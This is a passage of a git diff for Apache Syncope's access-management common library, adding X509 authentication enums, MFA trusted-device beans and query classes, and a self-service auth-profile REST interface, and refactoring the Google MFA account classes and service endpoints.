SHIBBOLETH, + OIDC; + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509PolicySetting.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509PolicySetting.java new file mode 100644 index 00000000000..40d09bb772c --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509PolicySetting.java @@ -0,0 +1,35 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum X509PolicySetting { + /** + * Allow to proceed. + */ + ALLOW, + /** + * Deny and block. + */ + DENY, + /** + * Throttle the request whereby expired data is permitted up to a threshold period of time but not afterward. + */ + THRESHOLD; + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509PrincipalType.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509PrincipalType.java new file mode 100644 index 00000000000..a970e3babaa --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509PrincipalType.java @@ -0,0 +1,59 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum X509PrincipalType { + /** + * Create principal by common name and EDIPI. + */ + CN_EDIPI, + /** + * Create principal from the RFC822 type name (aka email address) in the subject alternative name field. + * The subject alternative name field contains a list of various types of names, one type is RFC822 e-mail + * address. This will return the first e-mail address that is found (if there are more than one). + */ + RFC822_EMAIL, + /** + * Create principal by serial no. + * Resolve the principal by the serial number with a configurable radix, ranging from 2 to 36. + * If {@code radix} is {@code 16}, then the serial number could be filled with leading zeros to even the number of + * digits. + */ + SERIAL_NO, + /** + * Create principal by serial no and DN. + */ + SERIAL_NO_DN, + /** + * Create principal by subject. + * Resolve the principal by extracting one or more attribute values from the + * certificate subject DN and combining them with intervening delimiters. + */ + SUBJECT, + /** + * Create principal by subject alternative name. + * Resolve the principal by the subject alternative name extension. (type: otherName) + */ + SUBJECT_ALT_NAME, + /** + * Create principal by subject DN. + */ + SUBJECT_DN; + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509RevocationCheckerType.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509RevocationCheckerType.java new file mode 100644 index 00000000000..cdf75f94163 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509RevocationCheckerType.java @@ -0,0 +1,38 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum X509RevocationCheckerType { + /** + * No revocation is performed. + */ + NONE, + /** + * The CRL URI(s) mentioned in the certificate cRLDistributionPoints extension field. + * + * Caches are available to prevent excessive IO against CRL endpoints. CRL data fetched if does not exist in the + * cache or if it is expired + */ + CRL, + /** + * A CRL hosted at a fixed location. The CRL is fetched at periodic intervals and cached. + */ + RESOURCE; + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509RevocationFetcherType.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509RevocationFetcherType.java new file mode 100644 index 00000000000..f0713ac6e5e --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509RevocationFetcherType.java @@ -0,0 +1,32 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum X509RevocationFetcherType { + /** + * All revocation checks use fixed resources to fetch the CRL resource from the specified location. + */ + RESOURCE, + /** + * A CRL resource may be fetched from a pre-configured attribute, in the event that the CRL resource location is an + * LDAP URI. + */ + LDAP; + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509SubjectDnFormat.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509SubjectDnFormat.java new file mode 100644 index 00000000000..50b631f43dc --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/X509SubjectDnFormat.java @@ -0,0 +1,47 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum X509SubjectDnFormat { + /** + * Denigrated result of calling certificate.getSubjectDN() method. + * Javadocs designate this method as "denigrated" for not being portable and/or not being well defined. + * It is what has been used by CAS for a long time so it remains the default. + */ + DEFAULT, + /** + * RFC 1779 String format of Distinguished Names. + * Calls {@code X500Principal.getName("RFC1779")} which emits a subject DN with the attribute keywords defined + * in RFC 1779 (CN, L, ST, O, OU, C, STREET). Any other attribute type is emitted as an OID. + */ + RFC1779, + /** + * RFC 2253 String format of Distinguished Names. + * Calls {@code X500Principal.getName("RFC2253")} which emits a subject DN with the attribute keywords defined in + * RFC 2253 (CN, L, ST, O, OU, C, STREET, DC, UID). Any other attribute type is emitted as an OID. + */ + RFC2253, + /** + * Canonical String format of Distinguished Names. + * Calls X500Principal.getName("CANONICAL" which emits a subject DN that starts with RFC 2253 and applies + * additional canonicalizations described in the javadoc. + */ + CANONICAL; + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/GoogleMfaAuthAccount.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/GoogleMfaAuthAccount.java index fc01b3d5e4e..abfa3cd3706 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/GoogleMfaAuthAccount.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/GoogleMfaAuthAccount.java @@ -18,7 +18,7 @@ */ package org.apache.syncope.common.lib.wa; -import java.time.OffsetDateTime; +import java.time.ZonedDateTime; import java.util.ArrayList; import java.util.List; import org.apache.commons.lang3.builder.EqualsBuilder; @@ -34,13 +34,18 @@ public static class Builder { private final GoogleMfaAuthAccount instance = new GoogleMfaAuthAccount(); - public GoogleMfaAuthAccount.Builder registrationDate(final OffsetDateTime date) { - instance.setRegistrationDate(date); + public GoogleMfaAuthAccount.Builder id(final Long id) { + instance.setId(id); return this; } - public GoogleMfaAuthAccount.Builder scratchCodes(final List codes) { - instance.setScratchCodes(codes); + public GoogleMfaAuthAccount.Builder name(final String name) { + instance.setName(name); + return this; + } + + public GoogleMfaAuthAccount.Builder username(final String username) { + instance.setUsername(username); return this; } @@ -54,13 +59,13 @@ public GoogleMfaAuthAccount.Builder validationCode(final Integer code) { return this; } - public GoogleMfaAuthAccount.Builder id(final Long id) { - instance.setId(id); + public GoogleMfaAuthAccount.Builder scratchCodes(final List codes) { + instance.setScratchCodes(codes); return this; } - public GoogleMfaAuthAccount.Builder name(final String name) { - instance.setName(name); + public GoogleMfaAuthAccount.Builder registrationDate(final ZonedDateTime date) { + instance.setRegistrationDate(date); return this; } @@ -69,17 +74,27 @@ public GoogleMfaAuthAccount build() { } } - private String secretKey; + private long id; private String name; - private int validationCode; + private String username; - private long id; + private String secretKey; + + private int validationCode; private List scratchCodes = new ArrayList<>(0); - private OffsetDateTime registrationDate; + private ZonedDateTime registrationDate; + + public long getId() { + return id; + } + + public void setId(final long id) { + this.id = id; + } public String getName() { return name; @@ -89,12 +104,12 @@ public void setName(final String name) { this.name = name; } - public long getId() { - return id; + public String getUsername() { + return username; } - public void setId(final long id) { - this.id = id; + public void setUsername(final String username) { + this.username = username; } public String getSecretKey() { @@ -121,24 +136,25 @@ public void setScratchCodes(final List scratchCodes) { this.scratchCodes = scratchCodes; } - public OffsetDateTime getRegistrationDate() { + public ZonedDateTime getRegistrationDate() { return registrationDate; } - public void setRegistrationDate(final OffsetDateTime registrationDate) { + public void setRegistrationDate(final ZonedDateTime registrationDate) { this.registrationDate = registrationDate; } @Override public int hashCode() { - return new HashCodeBuilder() - .append(secretKey) - .append(name) - .append(id) - .append(scratchCodes) - .append(validationCode) - .append(registrationDate) - .toHashCode(); + return new HashCodeBuilder(). + append(id). + append(name). + append(username). + append(secretKey). + append(validationCode). + append(scratchCodes). + append(registrationDate). + build(); } @Override @@ -153,25 +169,27 @@ public boolean equals(final Object obj) { return false; } GoogleMfaAuthAccount other = (GoogleMfaAuthAccount) obj; - return new EqualsBuilder() - .append(this.secretKey, other.secretKey) - .append(this.name, other.name) - .append(this.id, other.id) - .append(this.scratchCodes, other.scratchCodes) - .append(this.registrationDate, other.registrationDate) - .append(this.validationCode, other.validationCode) - .isEquals(); + return new EqualsBuilder(). + append(id, other.id). + append(name, other.name). + append(username, other.username). + append(secretKey, other.secretKey). + append(validationCode, other.validationCode). + append(scratchCodes, other.scratchCodes). + append(registrationDate, other.registrationDate). + build(); } @Override public String toString() { - return new ToStringBuilder(this) - .append("name", name) - .append("secretKey", secretKey) - .append("id", id) - .append("scratchCodes", scratchCodes) - .append("registrationDate", registrationDate) - .append("validationCode", validationCode) - .toString(); + return new ToStringBuilder(this). + append(id). + append(name). + append(username). + append(secretKey). + append(validationCode). + append(scratchCodes). + append(registrationDate). + build(); } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/GoogleMfaAuthToken.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/GoogleMfaAuthToken.java index 470103a5982..9e4d2663490 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/GoogleMfaAuthToken.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/GoogleMfaAuthToken.java @@ -69,10 +69,10 @@ public void setIssueDate(final LocalDateTime issueDate) { @Override public int hashCode() { - return new HashCodeBuilder() - .append(otp) - .append(issueDate) - .toHashCode(); + return new HashCodeBuilder(). + append(otp). + append(issueDate). + build(); } @Override @@ -87,17 +87,17 @@ public boolean equals(final Object obj) { return false; } GoogleMfaAuthToken other = (GoogleMfaAuthToken) obj; - return new EqualsBuilder() - .append(this.otp, other.otp) - .append(this.issueDate, other.issueDate) - .isEquals(); + return new EqualsBuilder(). + append(otp, other.otp). + append(issueDate, other.issueDate). + build(); } @Override public String toString() { - return new ToStringBuilder(this) - .append("token", otp) - .append("issueDate", issueDate) - .toString(); + return new ToStringBuilder(this). + append("token", otp). + append("issueDate", issueDate). + build(); } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/ImpersonationAccount.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/ImpersonationAccount.java index 6936b6363ac..a0f5458ae7b 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/ImpersonationAccount.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/ImpersonationAccount.java @@ -55,7 +55,7 @@ public void setImpersonated(final String impersonated) { public int hashCode() { return new HashCodeBuilder() .append(impersonated) - .toHashCode(); + .build(); } @Override @@ -71,14 +71,14 @@ public boolean equals(final Object obj) { } ImpersonationAccount other = (ImpersonationAccount) obj; return new EqualsBuilder() - .append(this.impersonated, other.impersonated) - .isEquals(); + .append(impersonated, other.impersonated) + .build(); } @Override public String toString() { return new ToStringBuilder(this) .append("impersonated", impersonated) - .toString(); + .build(); } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/MfaTrustedDevice.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/MfaTrustedDevice.java new file mode 100644 index 00000000000..fbc208afb59 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/MfaTrustedDevice.java @@ -0,0 +1,136 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.wa; + +import java.time.ZonedDateTime; +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.syncope.common.lib.BaseBean; + +public class MfaTrustedDevice implements BaseBean { + + private static final long serialVersionUID = 5120423450725182470L; + + private long id; + + private String name; + + private String deviceFingerprint; + + private String recordKey; + + private ZonedDateTime recordDate; + + private ZonedDateTime expirationDate; + + public long getId() { + return id; + } + + public void setId(final long id) { + this.id = id; + } + + public String getName() { + return name; + } + + public void setName(final String name) { + this.name = name; + } + + public String getDeviceFingerprint() { + return deviceFingerprint; + } + + public void setDeviceFingerprint(final String deviceFingerprint) { + this.deviceFingerprint = deviceFingerprint; + } + + public ZonedDateTime getRecordDate() { + return recordDate; + } + + public void setRecordDate(final ZonedDateTime recordDate) { + this.recordDate = recordDate; + } + + public String getRecordKey() { + return recordKey; + } + + public void setRecordKey(final String recordKey) { + this.recordKey = recordKey; + } + + public ZonedDateTime getExpirationDate() { + return expirationDate; + } + + public void setExpirationDate(final ZonedDateTime expirationDate) { + this.expirationDate = expirationDate; + } + + @Override + public int hashCode() { + return new HashCodeBuilder() + .append(id) + .append(name) + .append(deviceFingerprint) + .append(recordDate) + .append(recordKey) + .append(expirationDate) + .build(); + } + + @Override + public boolean equals(final Object obj) { + if (obj == null) { + return false; + } + if (obj == this) { + return true; + } + if (obj.getClass() != getClass()) { + return false; + } + MfaTrustedDevice other = (MfaTrustedDevice) obj; + return new EqualsBuilder() + .append(id, other.id) + .append(name, other.name) + .append(deviceFingerprint, other.deviceFingerprint) + .append(recordDate, other.recordDate) + .append(recordKey, other.recordKey) + .append(expirationDate, other.expirationDate) + .build(); + } + + @Override + public String toString() { + return new ToStringBuilder(this) + .append("id", id) + .append("name", name) + .append("deviceFingerprint", deviceFingerprint) + .append("recordDate", recordDate) + .append("recordKey", recordKey) + .append("expirationDate", expirationDate) + .build(); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/WAClientApp.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/WAClientApp.java index ab30e9d5a02..5780d8c8235 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/WAClientApp.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/WAClientApp.java @@ -21,13 +21,12 @@ import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; import java.util.ArrayList; -import java.util.HashMap; import java.util.List; -import java.util.Map; import org.apache.syncope.common.lib.BaseBean; import org.apache.syncope.common.lib.policy.AccessPolicyTO; import org.apache.syncope.common.lib.policy.AttrReleasePolicyTO; import org.apache.syncope.common.lib.policy.AuthPolicyTO; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; import org.apache.syncope.common.lib.to.AuthModuleTO; import org.apache.syncope.common.lib.to.ClientAppTO; @@ -45,7 +44,7 @@ public class WAClientApp implements BaseBean { private AttrReleasePolicyTO attrReleasePolicy; - private final Map releaseAttrs = new HashMap<>(); + private TicketExpirationPolicyTO ticketExpirationPolicy; public ClientAppTO getClientAppTO() { return clientAppTO; @@ -85,7 +84,11 @@ public void setAttrReleasePolicy(final AttrReleasePolicyTO attrReleasePolicy) { this.attrReleasePolicy = attrReleasePolicy; } - public Map getReleaseAttrs() { - return releaseAttrs; + public TicketExpirationPolicyTO getTicketExpirationPolicy() { + return ticketExpirationPolicy; + } + + public void setTicketExpirationPolicy(final TicketExpirationPolicyTO ticketExpirationPolicy) { + this.ticketExpirationPolicy = ticketExpirationPolicy; } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/WebAuthnDeviceCredential.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/WebAuthnDeviceCredential.java index 40db6cfe540..88ca96b8144 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/WebAuthnDeviceCredential.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/wa/WebAuthnDeviceCredential.java @@ -71,7 +71,7 @@ public int hashCode() { return new HashCodeBuilder() .append(json) .append(identifier) - .toHashCode(); + .build(); } @Override @@ -87,9 +87,9 @@ public boolean equals(final Object obj) { } WebAuthnDeviceCredential other = (WebAuthnDeviceCredential) obj; return new EqualsBuilder() - .append(this.json, other.json) - .append(this.identifier, other.identifier) - .isEquals(); + .append(json, other.json) + .append(identifier, other.identifier) + .build(); } @Override @@ -97,6 +97,6 @@ public String toString() { return new ToStringBuilder(this) .append("records", json) .append("identifier", identifier) - .toString(); + .build(); } } diff --git a/common/am/lib/src/test/java/org/apache/syncope/common/lib/SerializationTest.java b/common/am/lib/src/test/java/org/apache/syncope/common/lib/SerializationTest.java index a3839aca64a..60627a628a1 100644 --- a/common/am/lib/src/test/java/org/apache/syncope/common/lib/SerializationTest.java +++ b/common/am/lib/src/test/java/org/apache/syncope/common/lib/SerializationTest.java @@ -36,13 +36,13 @@ public abstract class SerializationTest { public void accessPolicyConf() throws IOException { AccessPolicyTO policy = new AccessPolicyTO(); policy.setName("Test Access policy"); - policy.setOrder(11); - policy.setEnabled(true); - policy.setUnauthorizedRedirectUrl(URI.create("https://syncope.apache.org")); DefaultAccessPolicyConf conf = new DefaultAccessPolicyConf(); - conf.getRequiredAttrs().add(new Attr.Builder("cn").values("admin", "Admin", "TheAdmin").build()); - conf.getRejectedAttrs().add(new Attr.Builder("uid").values("plain").build()); + conf.setOrder(11); + conf.setEnabled(true); + conf.setUnauthorizedRedirectUrl(URI.create("https://syncope.apache.org")); + conf.getRequiredAttrs().put("cn", "admin,Admin,TheAdmin"); + conf.getRejectedAttrs().put("uid", "plain"); policy.setConf(conf); StringWriter writer = new StringWriter(); diff --git a/common/am/pom.xml b/common/am/pom.xml index 2729d4047dc..55b764c0aad 100644 --- a/common/am/pom.xml +++ b/common/am/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-common - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common AM diff --git a/common/am/rest-api/pom.xml b/common/am/rest-api/pom.xml index 701f42d31cf..58e0ac6472d 100644 --- a/common/am/rest-api/pom.xml +++ b/common/am/rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-am - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common AM REST API diff --git a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/MfaTrustedDeviceQuery.java b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/MfaTrustedDeviceQuery.java new file mode 100644 index 00000000000..7a8bcf20424 --- /dev/null +++ b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/MfaTrustedDeviceQuery.java @@ -0,0 +1,128 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.rest.api.beans; + +import io.swagger.v3.oas.annotations.Parameter; +import io.swagger.v3.oas.annotations.enums.ParameterIn; +import io.swagger.v3.oas.annotations.media.Schema; +import java.time.OffsetDateTime; +import javax.ws.rs.QueryParam; + +public class MfaTrustedDeviceQuery extends AbstractQuery { + + private static final long serialVersionUID = -7381828286332101171L; + + public static class Builder extends AbstractQuery.Builder { + + @Override + protected MfaTrustedDeviceQuery newInstance() { + return new MfaTrustedDeviceQuery(); + } + + public MfaTrustedDeviceQuery.Builder id(final Long id) { + getInstance().setId(id); + return this; + } + + public MfaTrustedDeviceQuery.Builder recordKey(final String recordKey) { + getInstance().setRecordKey(recordKey); + return this; + } + + public MfaTrustedDeviceQuery.Builder principal(final String principal) { + getInstance().setPrincipal(principal); + return this; + } + + public MfaTrustedDeviceQuery.Builder expirationDate(final OffsetDateTime date) { + getInstance().setExpirationDate(date); + return this; + } + + public MfaTrustedDeviceQuery.Builder recordDate(final OffsetDateTime date) { + getInstance().setRecordDate(date); + return this; + } + } + + private Long id; + + private String recordKey; + + private OffsetDateTime expirationDate; + + private OffsetDateTime recordDate; + + private String principal; + + @Parameter(name = "id", in = ParameterIn.QUERY, schema = + @Schema(implementation = Long.class)) + public Long getId() { + return id; + } + + @QueryParam("id") + public void setId(final Long id) { + this.id = id; + } + + @Parameter(name = "recordKey", in = ParameterIn.QUERY, schema = + @Schema(implementation = String.class)) + public String getRecordKey() { + return recordKey; + } + + @QueryParam("recordKey") + public void setRecordKey(final String recordKey) { + this.recordKey = recordKey; + } + + @Parameter(name = "expirationDate", in = ParameterIn.QUERY, schema = + @Schema(implementation = OffsetDateTime.class)) + public OffsetDateTime getExpirationDate() { + return expirationDate; + } + + @QueryParam("expirationDate") + public void setExpirationDate(final OffsetDateTime expirationDate) { + this.expirationDate = expirationDate; + } + + @Parameter(name = "recordDate", in = ParameterIn.QUERY, schema = + @Schema(implementation = OffsetDateTime.class)) + public OffsetDateTime getRecordDate() { + return recordDate; + } + + @QueryParam("recordDate") + public void setRecordDate(final OffsetDateTime recordDate) { + this.recordDate = recordDate; + } + + @Parameter(name = "principal", in = ParameterIn.QUERY, schema = + @Schema(implementation = String.class)) + public String getPrincipal() { + return principal; + } + + @QueryParam("principal") + public void setPrincipal(final String principal) { + this.principal = principal; + } +} diff --git a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/AuthProfileSelfService.java b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/AuthProfileSelfService.java new file mode 100644 index 00000000000..01331a9c068 --- /dev/null +++ b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/AuthProfileSelfService.java @@ -0,0 +1,72 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.rest.api.service; + +import io.swagger.v3.oas.annotations.security.SecurityRequirement; +import io.swagger.v3.oas.annotations.security.SecurityRequirements; +import io.swagger.v3.oas.annotations.tags.Tag; +import javax.validation.constraints.NotNull; +import javax.ws.rs.Consumes; +import javax.ws.rs.DELETE; +import javax.ws.rs.GET; +import javax.ws.rs.PUT; +import javax.ws.rs.Path; +import javax.ws.rs.Produces; +import javax.ws.rs.core.MediaType; +import org.apache.syncope.common.lib.to.AuthProfileTO; +import org.apache.syncope.common.rest.api.RESTHeaders; + +/** + * REST operations for Auth profile self-management. + */ +@Tag(name = "AuthProfileSelf") +@SecurityRequirements({ + @SecurityRequirement(name = "BasicAuthentication"), + @SecurityRequirement(name = "Bearer") }) +@Path("authProfiles/self") +public interface AuthProfileSelfService extends JAXRSService { + + /** + * Returns the auth profile matching the user making the service call, if found. + * + * @return auth profile matching the user making the service call, if found + */ + @GET + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + AuthProfileTO read(); + + /** + * Updates the auth profile matching the user making the service call, if found. + * + * @param authProfileTO auth profile + */ + @PUT + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + void update(@NotNull AuthProfileTO authProfileTO); + + /** + * Deletes the auth profile matching the user making the service call, if found. + */ + @DELETE + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + void delete(); +} diff --git a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ClientAppService.java b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ClientAppService.java index 8ef62ffcfa8..e11f3692b3d 100644 --- a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ClientAppService.java +++ b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ClientAppService.java @@ -131,11 +131,4 @@ T read( @Path("{type}/{key}") @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) void delete(@NotNull @PathParam("type") ClientAppType type, @NotNull @PathParam("key") String key); - - @ApiResponses( - @ApiResponse(responseCode = "204", description = "Operation was successful")) - @POST - @Path("push") - @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - void pushToWA(); } diff --git a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/GoogleMfaAuthAccountService.java b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/GoogleMfaAuthAccountService.java index 201a871bfa3..4e9d359e6a1 100644 --- a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/GoogleMfaAuthAccountService.java +++ b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/GoogleMfaAuthAccountService.java @@ -40,54 +40,50 @@ @SecurityRequirements({ @SecurityRequirement(name = "BasicAuthentication"), @SecurityRequirement(name = "Bearer") }) -@Path("wa/gauth") +@Path("wa/gauth/accts") public interface GoogleMfaAuthAccountService extends JAXRSService { - @DELETE + @GET @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - @Path("accts/{owner}") - void delete(@NotNull @PathParam("owner") String owner); + PagedResult list(); - @DELETE + @GET @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - @Path("accts/devices/{id}") - void delete(@NotNull @PathParam("id") long id); + @Path("{owner}") + PagedResult read(@NotNull @PathParam("owner") String owner); - @DELETE + @GET + @Path("devices/{id}") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - @Path("accts") - void deleteAll(); + GoogleMfaAuthAccount read(@NotNull @PathParam("id") long id); @POST - @Path("accts/{owner}") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ 